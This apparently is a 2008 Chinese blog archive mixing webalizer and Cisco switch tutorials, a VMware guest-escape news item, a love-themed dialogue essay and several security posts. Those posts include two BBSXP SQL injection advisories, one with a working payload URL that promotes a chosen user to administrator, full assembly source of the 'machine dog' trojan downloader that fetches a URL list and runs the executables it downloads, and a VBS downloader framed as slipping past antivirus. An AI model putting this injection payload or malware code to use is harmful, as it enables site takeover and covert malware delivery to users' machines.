介绍:

webalizer是一个高效的、免费的web服务器日志分析程序。其分析结果以HTML文件格式保存,从而可以很方便的通过web服务器进行浏览。Internet上的很多站点都使用webalizer进行web服务器日志分析。Webalizer具有以下一些特性:

1. 为是用C写的程序,所以其具有很高的运行效率。在主频为200Mhz的机器上,webalizer每秒钟可以分析10000条记录,所以分析一个40M大小的日志文件只需要15秒。

2. webalizer支持标准的一般日志文件格式(Common Logfile Format);除此之外,也支持几种组合日志格式(Combined Logfile Format)的变种,从而可以统计客户情况以及客户操作系统类型。并且现在webalizer已经可以支持wu-ftpd xferlog日志格式以及squid日志文件格式了。

3. 支持命令行配置以及配置文件。

4. 可以支持多种语言,也可以自己进行本地化工作。

5. 支持多种平台,比如UNIX、linux、NT, OS/2 和 MacOS等。

安装:

1.从webalizer的官方站点http://www.mrunix.net/webalizer/下载webalizer,当前的最新版本是webalizer-2.01-06-src.tgz。

2.首先解开源代码包:
tar xvzf webalizer-2.01-06-src.tgz

3.在生成的目录中有个lang目录,该目录中保存了各种语言文件,但是只有繁体中文版本,可以自己转换成简体,或者自己重新翻译一下。

4.然后进入生成的目录:

./configure
make –with-language=chinese

5.编译成功后,会产生一个webalizer可执行文件,可以将其拷贝到/usr/sbin/目录下:
cp webalizer /usr/sbin/
然后就可以开始配置webalizer了。

配置:
上面说过,可以通过命令行配置webalizer,也可以通过配置文件进行配置,在本文中我们将介绍使用命令行参数进行配置,需要了解配置文件使用方法的朋友可以参考README文件,里面有很详细的介绍。
可以执行webalizer –h得到所有命令行参数:
Usage: webalizer [options] [log file]
-h = 打印帮助信息
-v -V = 打印版本信息
-d = 打印附加调试信息
-F type = 日志格式类型. type= (clf | ftp | squid)
-i = 忽略历史文件
-p = 保留状态 (递增模式)
-q = 忽略消息信息
-Q = 忽略所有信息
-Y = 忽略国家图形
-G = 忽略小时统计图形
-H = 忽略小时统计信息
-L = 忽略彩色图例
-l num = 在图形中使用数字背景线
-m num = 访问超时 (seconds)
-T = 打印时间信息
-c file = 指定配置文件
-n name = 使用的主机名
-o dir = 结果输出目录
-t name = 指定报告题目上的主机名
-a name = 隐藏用户代理名称
-r name = 隐藏访问链接
-s name = 隐藏客户
-u name = 隐藏URL
-x name = 使用文件扩展名
-P name = 页面类型扩展名
-I name = index别名
-A num = 显示前几名客户类型
-C num = 显示前几名国家
-R num = 显示前几名链接
-S num = 显示前几名客户
-U num = 显示前几名URLs
-e num = 显示前几名访问页面
-E num = 显示前几名不存在的页面
-X = 隐藏个别用户
-D name = 使用dns缓存文件
-N num = DNS 进程数 (0=禁用dns)

假设,web服务器主机名为www.test.com,统计站点域名为www.test.com, 访问日志为/var/log/httpd/access_log, 我们将webalizer分析结果输出到/var/www/html/log下面。则我们可以建立以下脚本/etc/rc.d/webalizer:

#!/bin/sh
run=/usr/sbin/webalizer
$run -F clf -p -n " " -t "www.test.com"
-o /var/www/html/log /var/log/httpd/access_log

说明:

-F clf 指明我们的web日志格式为标准的一般日志文件格式(Common Logfile Format)
-p 指定使用递增模式,这就是说每作一次分析后,webalizer会生产一个历史文件,这样下一次分析时就可以不分析已经处理过的部分。这样我们就可以在短时间内转换我们的日志文件,而不用担心访问量太大时日志文件无限增大了。
-n “ “ 指定服务器主机名为空,这样输出结果会美观一些。
-o “www.test.com” 指定输出结果标题.
/var/log/httpd/access_log:指定日志文件

然后在/etc/crontab中加入:
01 1 * * * root /etc/rc.d/webalizer
即每天凌晨1点执行该脚本。
然后运行/etc/rc.d/init.d/crond reload重载入crond服务。

测试:
执行以下命令:
# /etc/rc.d/webalizer
然后在浏览器中访问http://www.test.com/log/就可以看到webalizer的分析结果了。

注意:如果您使用了中文语言文件,但是您的linux不支持中文,则在产生的图片中文字可能为乱码

二月 27th, 2008

Posted In: 未分类

1、配置交换机主机名、管理ip、默认网关

Switch>en

Switch#config t

Switch(config)#hostname 2950B

2950B(config)#int vlan 1

2950B(config-if)#ip address 172.16.10.3 255.255.255.0

2950B(config-if)#no shut

2950B(config-if)#exit

2950B(config)#ip default-gateway 172.16.10.1

2、配置中继口(即trunk口)

2950B(config)#int f0/1

2950B(config-if)#switchport mode trunk

2950B(config-if)#exit

2950B(config)#int f0/4

2950B(config-if)#switchport mode trunk

2950B(config-if)#exit

2950B(config)#int f0/5

2950B(config-if)#switchport mode trunk

2950B(config-if)#exit

2950B(config)#

3、配置vtp,把2950B交换机设置成客户机模式,2950B从2950C接收vlan信息

2950B(config)#vtp mode client

2950B(config)#vtp domain cisco

2950B(config)#exit

4、创建Vlan

2950B#vlan database

2950B(vlan)#vlan 2 name sales

2950B(vlan)#vlan 3 name marketing

2950B(vlan)#apply

2950B(vlan)#exit

5、将交换机端口分配到vlan中

2950B#config t

2950B(config)#int f0/2

2950B(config-if)#switchport access vlan 2

2950B(config-if)#exit

2950B(config)#int f0/3

2950B(config-if)#switchport access vlan 3

2950B(config-if)#exit

2950B(config)#exit

2950B#

6、保存配置

2950B#copy run start

二、 交换机2950C配置

1、配置交换机主机名、管理ip、默认网关

Switch>en

Switch#config t

Switch(config)#hostname 2950C

2950C(config)#int vlan 1

2950C(config-if)#ip address 172.16.10.2 255.255.255.0

2950C(config-if)#no shut

2950C(config-if)#exit

2950B(config)#ip default-gateway 172.16.10.1

2、配置中继口(即trunk口)

2950C(config)#int f0/4

2950C(config-if)#switchport mode trunk

2950C(config-if)#exit

2950C(config)#int f0/5

2950C(config-if)#switchport mode trunk

2950C(config-if)#exit

2950C(config)#

3、配置vtp,把2950C交换机设置成服务器模式,2950B从2950C接收vlan信息

2950C(config)#vtp mode server

2950C(config)#vtp domain cisco

4、创建Vlan

2950C(config)#exit

2950C#vlan database

2950C(vlan)#vlan 2 name sales

2950C(vlan)#vlan 3 name marketing

2950C(vlan)#apply

2950C(vlan)#exit

5、将交换机端口分配到vlan中

2950C#config t

2950C(config)#int f0/2

2950C(config-if)#switchport access vlan 2

2950C(config-if)#exit

2950C(config)#int f0/3

2950C(config-if)#switchport access vlan 3

2950C(config-if)#exit

2950C(config)#exit

2950C#

6、保存配置

2950C#copy run start

三、vlan间路由器2600配置过程

1、配置路由器主机名、清除f0/0端口ip地址、启动f0/0端口

Router>en

Router#config t

Router(config)#hostname trunkrouter

Trunkrouter(config)#int f0/0

Trunkrouter(config-if)#no ip address

Trunkrouter(config-if)#no shut

2、创建子接口,并定义封装类型,给子接口分配ip地址,

Trunkrouter(config-if)#int f0/0.1

Trunkrouter(config-subif)#encapsulation dot1q 1

Trunkrouter(config-subif)#ip address 172.16.10.1 255.255.255.0

Trunkrouter(config-subif)#exit

Trunkrouter(config)#int f0/0.2

Trunkrouter(config-subif)#encapsulation dot1q 1

Trunkrouter(config-subif)#ip address 172.16.20.1 255.255.255.0

Trunkrouter(config-subif)#exit

Trunkrouter(config)#int f0/0.3

Trunkrouter(config-subif)#encapsulation dot1q 1

Trunkrouter(config-subif)#ip address 172.16.30.1 255.255.255.0

Trunkrouter(config-subif)#exit

Trunkrouter(config)#exit

3、保存配置

Trunkrouter#copy run start
四、PC配置

配置B20:c:#winipcfg

二月 27th, 2008

Posted In: 未分类

 局域网交换机将人们从传统意义上共享的HUB式局域网发展到更广阔的空间。以Cisco公司出品的Catalyst5000 系列局域网交换机为例,它包括一个集成的交换硬件结构,支持交换的10-Mbps 以太网和100-Mbps 快速以太网,可通过快速以太网、FDDI、交换式令牌环和第3层交换处理能力。该类交换机可向局域网内的工作站、服务器、网段、骨干网或其它用户提供交换接入。
  CiscoIOS软件为Catalyst平台和网络应用程序提供先进的网络服务。CiscoIOS技术专为交换进行了优化,并可用于所有Catalyst交换机,包括:用于带宽集合的FastEther Channel技术;优化了多点传送和多媒体流量性能的Cisco群组管理协议支持;以及广泛的管理特性。Cisco IOS软件还支持虚拟局域网(VLAN)配置和管理、IP地址管理以及安全的网络服务访问。
  Catalyst6000系列简介
  Catalyst6000家族包括Catalyst6500 系列和 Catalyst 6000 系列,为园区网络提供一系列新的高性能多层交换解决方案。Catalyst 6000 家族旨在满足主干网/分布和服务器集合环境中对千兆位可伸缩性、高可用性及多层交换的增加需求,提供卓越的可伸缩性和性价比,支持广泛的接口密度、性能和高可用性选项。通过提供应用智能、服务质量机制和安全,客户可以更加有效地利用他们的网络增加客户服务(例如多点传送和 ERP 应用),而不会牺牲网络性能。如果与 Cisco IOS 的广泛网络服务相结合,Catalyst 6000 家族能够提供企业内部网所需的强大管理、用户移动性、安全性、高可用性和多媒体支持。
  Catalyst5000系列简介
  Cisco的Catalyst5000 系列交换机除了Catalyst 5000 之外,还包括Catalyst 5002、Catalyst 5500 、Catalyst 5505、Catalyst 5509 等四种型号,它们都是Catalyst 5000 的增强型。本期工程利旧设备为Catalyst 5509交换机。 以常用的Catalyst 5509 为例,Catalyst 5509 机架共有9个槽位,第一个槽位用于 Supervisor Engine模块,该模块提供第2层交换和远程的网络管理,模块上有双端口、全双工快速以太网接口。可以用400Mbps的最高速率连接其它的 Catalyst 5000、路由器和服务器;第二个槽位是用来插备份的 Supervisor Engine 模块。其它7个槽位可以用来组合配置任何交换模块和路由交换模块(RSM)。 Catalyst 5509 机箱适合固定在标准的19英寸机架上。可以在机箱的同一侧面操作所有的系统部件。一个完整的系统必须配置一个电源。为了实现容错,可选配双备份、负载均衡、可带电拔插的电源。
  Catalyst6000系列和Catalyst5000 系列基本维护
  Catalyst6000系列和Catalyst5000 系列局域网交换机功能强大,包括很多使用及维护命令。下面,列出几条常用的命令及简单说明。所有有关的维护命令请详见随硬件设备提供的有关手册。
  设置端口名称
  setportnamemod_num/port_num [ name_string ]
  设置端口优先级
  setportlevelmod_num/port_num noramal|high
  设置端口速率
  setportspeedmod_num/port_num < 10|100|auto >
  设置端口传输类型
  setportduplexmod_num/port_num full|half
  检查端口配置状态
  showportmod_num/port_num
  2 关于网络端口sc0的设置
  在VLAN中设置供物理连接的逻辑端口
  sc0setinterfacesc0 vlan_num [ ip_address [ netmask [ broadcast ]]]
  3 关于VLAN的设置
  定义一个VLAN的序号,名字,类型
  setvlanvlan_num[ name name ] [ type type ] 检查VLAN 配置状态 show vlan
  4 关于Trunk的测试
  在某个特定的端口建立中继
  settrunkmod_num/port_num[ on|off|desirable|auto ] [ vlans ]

  检查中继的配置状态
  showtrunk
  5 关于spantree的设置
  在某vlan中设置
  spantreesetspantreeenable [ vlan ]
  在某vlan中设置 桥接的转发时延
  setspantreefwddelaydelay [ vlan ]
  在某vlan中设置 hello 报文的发送间隔
  setspantreehellointerval [ vlan ]
  设置某vlan中桥接的最大持续时间
  setspantreemaxageagingtime [ vlan ]
  设置某端口的桥接路径成本
  setspantreeportcostmod_num/port_num cost
  6 关于SNMP协议的配置
  配置SNMP的域串:setsnmpcommunity read-only | read-write | read-write-all community_string
  设置一个受限制的地址或域:setsnmptrap rcvr_address rcvr_community
  检查SNMP配置状态:showsnmp
  7 关于IP包的分段
  在FDDI与以太网的桥接中设置IP包的分段set ip fragmentation { enable | disable }
  8 关于ICMP未到达的消息
  setipunreachable{ enable | disable }
  9 关于ARP表的设置
  创立一个arp表并设置该表的刷新时间
  setarp{ip_addr hw_addr | agingtime agingtime }
  10 关于交换机三层交换模块的配置
  telnetip_address登陆到三层交换模块。
  rsm>enable
  rsm#showrun显示当前配置文件
  rsm#showintvlanid 显示vlan 状态
  rsm#showiproute显示路由信息
  三层交换vlan的配置:
  rsm#conft
  rsm(config)#intvlanid
  rsm(config)#ipaddressa。b。c。d netmask
  rsm(config)#noshutdown
  rsm#wrmem

二月 27th, 2008

Posted In: 未分类

喜欢用虚拟机来玩病毒的朋友注意了!VMware公司已经确认,该公司推出的虚拟机软件存在着一个漏洞,可以使攻击者脱离“客户”操作系统,并在“主机”中修改和添加文件。截至到目前位置,尚无补丁可以堵住这个漏洞!所有Windows版本,包括Workstation、Player、ACE都受此漏洞影响。而Windows servers、Mac、Linux版本暂时没有发现这个问题。这个漏洞是有Core Security Technologies公司发现,VMWare表示“攻击者可以利用此漏洞冲破客户系统,从而控制主机”。

  如果用户在VMWare软件中启用了主机到客户机的文件夹共享,那么恶意程序就可以使用此漏洞完全控制主机的文件系统权限,并复制可执行文件到主机系统关键位置。VMWare虽然未提供解决方案,但我们暂时可以采取屏蔽共享的方式。

二月 27th, 2008

Posted In: 未分类

BBSXP论坛程序Members.asp页面过滤不严导致SQL注入漏洞
————————————-
注:本站首发,转载请保留,谢谢!
http://www.neeao.com
Neeao's Security Blog
————————————-
漏洞发布:Bug.Center.Team

发布日期:
2008-2-15

更新日期:
2008-2-21

受影响系统:
BBSXP7.3
BBSXP2008

漏洞文件:
Members.asp

代码分析:.
CurrentAccountStatus=HTMLEncode(Request("CurrentAccountStatus")) //第11行
。。。。。。
if CurrentAccountStatus <> "" then item=item&" and UserAccountStatus="&CurrentAccountStatus&"" //第22行
。。。。。。
TotalCount=Execute("Select count(UserID) From ["&TablePrefix&"Users]"&item)(0) //第54行

使用过滤字符函数过滤数字变量CurrentAccountStatus导致sql注入的产生。过滤函数HTMLEncode在BBSXP_Class.asp文件。绕过过滤函数构造适当的sql语句进行注射.

关于Bug.Center.Team:

Bug.Center.Team(又名:漏洞预警中心小组)是国内较早成立的以脚本安全为主要方向的网络安全组 织,致力于网络和脚本安全问题的研究,在对于脚本程序的修补、维护、漏洞检测都有专业水平,是国 内最专业、最经验的安全服务组织,有关Bug.Center.Team的详情请参见: http://www.cnbct.org

二月 22nd, 2008

Posted In: 未分类

BBSXP 2008 New.asp过滤不严导致注入漏洞
————————————-
注:本站首发,转载请保留,谢谢!
http://www.neeao.com
Neeao's Security Blog
————————————-
漏洞发布:yamato[BCT]

发布日期
2008-2-18
更新日期
2008-2-21

受影响系统:
BBSXP7.3
BBSXP2008

漏洞文件:
New.asp

代码分析:

Sort=HTMLEncode(Request("Sort")) //第24行

if Sort = empty then
SqlSort="ThreadID"
else
SqlSort=Sort
end if
。。。。。。
sql="Select top "&SqlTopicCount&" * from ["&TablePrefix&"Threads] where Visible=1 "&SqlForumID&" "&SqlTimeLimit&" order by "&SqlSort&" desc" //第66行

过滤函数HTMLEncode 在文件BBSXP_Class.asp中:
Function HTMLEncode(fString)
fString=Replace(fString,CHR(9),"")
fString=Replace(fString,CHR(13),"")
fString=Replace(fString,CHR(22),"")
fString=Replace(fString,CHR(38),"&#38;") '“&”
fString=Replace(fString,CHR(32),"&#32;") '“ ”
fString=Replace(fString,CHR(34),"&quot;") '“"”
fString=Replace(fString,CHR(39),"&#39;") '“'”
fString=Replace(fString,CHR(42)&CHR(42),"&#42;&#42;") '“**”/**/
fString=Replace(fString,CHR(44),"&#44;") '“,”
fString=Replace(fString,CHR(45)&CHR(45),"&#45;&#45;") '“–”
fString=Replace(fString,CHR(60),"&#60;") '“<” fString=Replace(fString,CHR(62),"&#62;") '“>”
fString=Replace(fString,CHR(92),"&#92;") '“”
fString=Replace(fString,CHR(59),"&#59;") '“;”
fString=Replace(fString,CHR(10),"
")
fString=ReplaceText(fString,"([&#])([a-z0-9]*)&#59;","$1$2;")

if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))

if IsSqlDataBase=0 then '过滤片假名(日文字符)[u30A0-u30FF] by yuzi
fString=escape(fString)
fString=ReplaceText(fString,"%u30([A-F][0-F])","&#x30$1;")
fString=unescape(fString)
end if

HTMLEncode=fString
End Function
HTMLEncode过滤了Tab键,空格,** .
变量SqlSort过滤不严导致sql注入漏洞的产生。

漏洞测试:
http://localhost/bbsxp/new.asp?Sort=ThreadID/*o*/update/*o*/bbsxp_users/*o*/set/*o*/UserRoleID=1/*o*/where/*o*/Username=0x6C006F00760065006D006D006D00/*o*/select/*o*/*/*o*/from/*o*/BBSXP_users/*o*/order/*o*/by/*o*/userid
成功修改用户名为lovemmm为管理员。(最好使用POST提交呵呵)

关于Bug.Center.Team:
Bug.Center.Team(又名:漏洞预警中心小组)是国内较早成立的以脚本安全为主要方向的网络安全组 织,致力于网络和脚本安全问题的研究,在对于脚本程序的修补、维护、漏洞检测都有专业水平,是国 内最专业、最经验的安全服务组织,有关Bug.Center.Team的详情请参见: http://www.cnbct.org

二月 22nd, 2008

Posted In: 未分类

文章作者:naitm
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章备注:从IDA中复制,稍作修改所得。
ASM
[code]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 机器狗写入到userinit.exe文件的恶意代码
; by naitm(http://hi.baidu.com/naitm)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
include wininet.inc
includelib wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
nThreadCount dd 0
g_ThreadCount dd 0
PathName db '.',0
szAgent db 'Shell',0
szUser32Dll db 'user32.dll',0
szLoadRemoteFonts db 'LoadRemoteFonts',0
szSubKey db 'SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon',0
szUrlList db 'http://127.0.0.1/cert.cer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RunIt proc @lpExePath

local @ProcessInformation:PROCESS_INFORMATION
local @StartupInfSTARTUPINFO

invoke GetStartupInfo,addr @StartupInfo
invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr @ProcessInformation
.if eax == 0
invoke CloseHandle,@ProcessInformation.hThread
invoke CloseHandle,@ProcessInformation.hProcess
.endif

leave
retn 4
_RunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadFile proc @lpURL,@lpSaveFile,@Buffer

local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
local @lpbuffer[200h]:BYTE

xor eax, eax
mov @nWriteCount, eax
invoke InternetOpen,addr szAgent,0,0,0,0
.if eax != 0
mov @hInternet, eax
invoke InternetSetOption,@hInternet,2,@Buffer,4
invoke InternetSetOption,@hInternet,6,@Buffer,4
invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
.if eax != 0
mov @hInternetFile, eax
mov @nNumberOfBytesToWrite, 0
mov @NumberOfBytesWritten, 200h
invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,
addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
.if eax != 0
invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
.if eax != 0FFFFFFFFh
mov @hLocalFile, eax
.while TRUE
mov @nNumberOfBytesToWrite, 0
invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr @nNumberOfBytesToWrite
.break .if (!eax)
.break .if (@nNumberOfBytesToWrite==0)
inc @nWriteCount
invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,
addr @NumberOfBytesWritten,0
.endw
invoke SetEndOfFile,@hLocalFile
invoke CloseHandle,@hLocalFile
.endif
.endif
invoke InternetCloseHandle,@hInternetFile
.endif
invoke InternetCloseHandle,@hInternet
.endif
mov eax, @nWriteCount
leave
retn 0Ch

_DownloadFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadEXERunIt proc @lpURL

local @DownTimes
local @TempFileName[204h]:BYTE
local @TempFileName2[204h]:BYTE
local @szUrl[104h]:BYTE

mov @DownTimes, 3Ch
invoke lstrcpy,addr @szUrl,@lpURL
invoke RtlZeroMemory,addr @TempFileName,204
invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
invoke lstrcpy,addr @TempFileName2,addr @TempFileName

DownloadNxTime:
invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
or eax, eax
jz DownloadFailed
invoke lstrcpy,addr @TempFileName,addr @TempFileName2
invoke _RunIt,addr @TempFileName
jmp DownloadEnd
; —————————————————————————

DownloadFailed:
invoke Sleep,3E8h
dec @DownTimes
jnz DownloadNxTime

DownloadEnd:
dec nThreadCount
leave
retn 4
_DownloadEXERunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
main proc

local hKey,hObject,hFile,lpBaseAddress,ThreadId
local szShellValue[104h]:BYTE

invoke LoadLibrary,offset szUser32Dll
or eax, eax
jz RegQueryShell
invoke GetProcAddress,eax,offset szLoadRemoteFonts
or eax, eax
jz RegQueryShell
call eax

RegQueryShell:

invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
or eax, eax
jnz TestInternet
mov ThreadId, 104h
invoke RtlZeroMemory,addr szShellValue,104h
invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
invoke _RunIt,addr szShellValue
invoke RegCloseKey,hKey

TestInternet:

invoke Sleep,3E8h
invoke InternetGetConnectedState,addr ThreadId,0
or eax, eax
jnz InternetConnect_OK
jmp TestInternet
; —————————————————————————

InternetConnect_OK:
invoke RtlZeroMemory,addr szShellValue,104h
invoke GetTempFileName,offset PathName,0,0,addr szShellValue

DownList:

invoke Sleep,3E8h
invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
or eax, eax
jz DownListFailed

mov nThreadCount, 0
invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
cmp eax, INVALID_HANDLE_VALUE
jz ReaptDownList

mov hFile, eax
invoke GetFileSize,hFile,0
cmp eax, 0Fh
jnb BeginDownEXE
invoke CloseHandle,hFile
jmp DownList
; —————————————————————————

BeginDownEXE:
invoke CreateFileMapping,hFile,0,2,0,0,0
or eax, eax
jz CreateMapFailed
mov hObject, eax
invoke MapViewOfFile,eax,4,0,0,0
or eax, eax
jz MapViewFailed

mov lpBaseAddress, eax
mov esi, eax

loc_4005E1:
lea edi, szShellValue
push 104h
push edi
call RtlZeroMemory

WetherNewLine:
lodsb
cmp al, 0Ah
jnz loc_4005F8
lodsb

loc_4005F8:
cmp al, 0Dh
jz loc_400605
stosb
or al, al
jz UrlListEnd
jmp WetherNewLine
; —————————————————————————
jmp UrlListEnd
; —————————————————————————

loc_400605:
cmp szShellValue, 0
jz NextLine
inc nThreadCount
invoke CreateThread,0,0,offset _DownloadEXERunIt,addr szShellValue,0,addr ThreadId
invoke CloseHandle,eax
invoke Sleep,64h

NextLine:
jmp loc_4005E1
; —————————————————————————

UrlListEnd:

invoke UnmapViewOfFile,lpBaseAddress

MapViewFailed:
invoke CloseHandle,hObject

CreateMapFailed:
invoke CloseHandle,hFile
jmp WetherTreadend
; —————————————————————————

ReaptDownList:
jmp DownList
; —————————————————————————
jmp WetherTreadend
; —————————————————————————

DownListFailed:
jmp DownList
; —————————————————————————

WetherTreadend:

cmp nThreadCount, 0
jz ExitProgram
invoke Sleep,64h
jmp WetherTreadend
; —————————————————————————

ExitProgram:
invoke ExitProcess,0

main endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
[/code]

二月 22nd, 2008

Posted In: 未分类

石头问:我究竟该找个我爱的人做我的妻子呢?还是该找个爱我的人做我的妻子呢?

  佛笑了笑:这个问题的答案其实就在你自己的心底。这些年来,能让你爱得死去活来,能让你感觉得到生活充实,能让你挺起胸不断往前走,是你爱的人呢?还是爱你的人呢?

  石头也笑了:可是朋友们都劝我找个爱我的女孩做我的妻子?

  佛说:真要是那样的话,你的一生就将从此注定碌碌无为!你是习惯在追逐爱情的过程中不断去完善自己的。你不再去追逐一个自己爱的人,你自我完善的脚步也就停滞下来了。

  石头抢过了佛的话:那我要是追到了我爱的人呢?会不会就…

  佛说:因为她是你最爱的人,让她活得幸福和快乐被你视作是一生中最大的幸福,所以,你还会为了她生活得更加幸福和快乐而不断努力。幸福和快乐是没有极限的,所以你的努力也将没有极限,绝不会停止。

  石头说:那我活的岂不是很辛苦?

  佛说:这么多年了,你觉得自己辛苦吗?

  石头摇了摇头,又笑了。石头问:既然这样,那么是不是要善待一下爱我的人呢?佛摇了摇头,说:你需要你爱的人善待你吗?

  石头苦笑了一下:我想我不需要

  佛说:说说你的原因

  石头说:我对爱情的要求较为苛刻,那就是我不需要这里面夹杂着同情夹杂着怜悯,我要求她是发自内心的爱我的,同情怜悯宽容和忍让虽然也是一种爱,尽管也会给人带来某种意义上的幸福,但它却是我深恶痛绝的,如果她对我的爱夹杂着这些,那么我宁愿她不要理睬我,又或者直接拒绝我的爱意,在我还来得及退出来的时候,因为感情是只能越陷越深的,绝望远比希望来的实在一些,因为绝望的痛是一剎那的,而希望的痛则是无限期的。

  佛笑了:很好,你已经说出了答案!

  石头问:为什么我以前爱着一个女孩时,她在我眼中是最美丽的?而现在我爱着一个女孩,我却常常会发现长得比她漂亮的女孩呢?

  佛问:你敢肯定你是真的那么爱她,在这世界上你是爱她最深的人吗?

  石头毫不犹豫地说:那当然!

  佛说:恭喜。你对她的爱是成熟、理智、真诚而深切的。

  石头有些惊讶:哦?

  佛又继续说:她不是这世间最美的,甚至在你那么爱她的时候,你都清楚地知道这个事实。但你还是那么地爱着她,因为你爱的不只是她的青春靓丽,要知道韶华易逝,红颜易老,但你对她的爱恋已经超越了这些表面的东西,也就超越了岁月。你爱的是她整个的人,主要是她的独一无二的内心。

  石头忍不住说:是的,我的确很爱她的清纯善良,疼惜她的孩子气。

  佛笑了笑:时间的任何考验对你的爱恋来说算不得什么。

  石头问:为什么后来在一起的时候,两个人反倒没有了以前的那些激情,更多的是一种相互依赖?

  佛说:那是因为你的心里已经潜移默化中将爱情转变为了亲情…

  石头摸了摸脑袋:亲情?

  佛继续说:当爱情到了一定的程度的时候,是会在不知不觉中转变为亲情的,你会逐渐将她看作你生命中的一部分,这样你就会多了一些宽容和谅解,也只有亲情才是你从诞生伊始上天就安排好的,也是你别无选择的,所以你后来做的,只能是去适应你的亲情,无论你出生多么高贵,你都要不讲任何条件的接受他们,并且对他们负责对他们好

  石头想了想,点头说道:亲情的确是这样的。

  佛笑了笑:爱是因为相互欣赏而开始的,因为心动而相恋,因为互相离不开而结婚,但更重要的一点是需要宽容、谅解、习惯和适应才会携手一生的。石头沉默了:原来爱情也是一种宿命。

  石头问:大学的时候我曾经遇到过一个女孩,那个时候我很爱她,只是她那个时候并不爱我;可是现在她又爱上了我,而我现在又似乎没有了以前的那种感觉,或者说我似乎已经不爱她了,为什么会出现这种情况呢?

  佛问:你能做到让自己从今以后不再想起她吗?

  石头沈思了一会:我想我不能,因为这么多年来我总是有意无意中想起她,又或者同学聚会时谈起她的消息,我都有着超乎寻常的关注;接到她的来信或者电话的时候我的心都是莫名的激动和紧张;这么多年来单身的原因也是因为一直以来都没有忘记她,又或者我在以她的标准来寻觅着我将来的女朋友;可是我现在又的确不再喜欢她了。

  佛发出了长长的叹息:现在的你跟以前的你尽管外表没有什么变化,然而你的心却走过了一个长长的旅程,又或者说你为自己的爱情打上了一个现实和理智的心结。你不喜欢她也只是源于你的这个心结,心结是需要自己来化解的,要知道前世的五百次回眸才换来今生的擦肩而过,人总要有所取舍的,至于怎么取舍还是要你自己来决定,谁也帮不了你。

  石头没有再说话,只是将目光静静的望向远方,原来佛也不是万能的…石头问:在这样的一个时代,这样的一个社会里,像我这样的一个人这样辛苦地去爱一个人。是否值得呢?

  佛说:你自己认为呢?石头想了想,无言以对。

  佛也沉默了一阵,终于他又开了口:路既然是自己选择的,就不能怨天尤人,你只能无怨无悔。

  石头长吁了一口气,石头知道他懂了,他用坚定的目光看了佛一眼,没有再说话。

二月 21st, 2008

Posted In: 未分类

说到使用vbs下载文件是不是想到了XMLHTTP呢,以下是比较经典的代码:
[code]
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2[/code]

当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。
那么,有没有更好的方法呢?答案很明显:-)
我们可以利用一个叫InternetExplorer.Application的对象(其实就是个IE啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)
